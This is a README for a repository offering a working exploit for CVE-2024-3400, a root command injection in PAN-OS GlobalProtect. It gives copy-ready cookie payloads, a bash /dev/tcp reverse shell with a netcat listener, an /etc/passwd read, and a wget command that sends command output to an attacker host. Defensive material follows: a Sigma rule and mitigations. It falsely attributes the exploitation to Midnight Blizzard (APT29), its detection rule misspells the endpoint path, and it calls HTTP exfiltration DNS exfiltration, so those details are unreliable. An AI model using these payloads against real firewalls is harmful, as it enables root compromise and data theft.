Reproduction of cve-2024-3400-panos_rce_reproduction
CVSS 10.0 CRITICAL | CWE-78: OS Command Injection | Mass Exploited In The Wild
CVE-2024-3400 is a pre-authentication command injection vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway interfaces. The vulnerability allows an unauthenticated attacker to execute arbitrary commands with root privileges on the affected firewall.
The vulnerability resides in the GlobalProtect portal and gateway component's session cookie handling. The function responsible for processing the SESSID cookie fails to properly sanitize user-supplied input before passing it to a shell command.
Specifically, an unauthenticated HTTP request to the GlobalProtect portal endpoint (/global-protect/login.esp) with a crafted SESSID cookie containing embedded shell metacharacters (backticks and variable expansion) results in command injection.
The vulnerable code path operates as follows:
/global-protect/login.espSESSID cookie value is extracted without sanitizationsystem() or similar OS command execution functionThe injection payload uses backtick-delimited commands within the SESSID cookie:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
The path traversal (/../../../) breaks out of the intended directory, and the backtick-quoted COMMAND portion causes the shell to execute the attacker's input. Output redirection or reverse shell mechanisms can be used to exfiltrate command results.
| PAN-OS Version | Affected | Fixed In |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 | 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
Note: PAN-OS 9.x and earlier are not affected. Cloud NGFW and Prisma Access are not affected.
UNC4554 / Midnight Blizzard (APT29) was observed exploiting CVE-2024-3400 as a 0-day beginning in March 2024. Volexity published their analysis on April 12, 2024. Attack patterns included:
Multiple public PoCs have been released. This repository provides a functional exploit for authorized testing.
requests librarypip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
See exploit.py in this repository for a fully-featured Python exploit supporting:
/global-protect/login.esp with abnormally long or suspicious SESSID cookies/../../) combined with backtick characters/opt/panlogs/tmp/device_telemetry/ with .py extensionstitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (blocks the vulnerable code path without requiring a reboot)/opt/panlogs/tmp/device_telemetry/SESSID cookie valuesApply the hotfix provided by Palo Alto Networks. The fix properly sanitizes cookie input before shell command construction.
If you suspect exploitation:
| Source | Link |
|---|---|
| Palo Alto Security Advisory | https://security.paloaltonetworks.com/CVE-2024-3400 |
| Volexity Analysis | https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-command-injection-vulnerability-in-palo-alto-networks-pan-os/ |
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2024-3400 |
| CWE-78 Detail | https://cwe.mitre.org/data/definitions/78.html |
| CISA KEV | https://www.cisa.gov/known-exploited-vulnerabilities-catalog |
| ATT&CK Technique | https://attack.mitre.org/techniques/T1190/ |
This repository is provided for authorized security testing and educational purposes only. Unauthorized exploitation of this vulnerability is illegal. The authors are not responsible for misuse of this information. Always ensure you have explicit written permission before testing any system.
MIT License - This content is provided for defensive security research and authorized testing.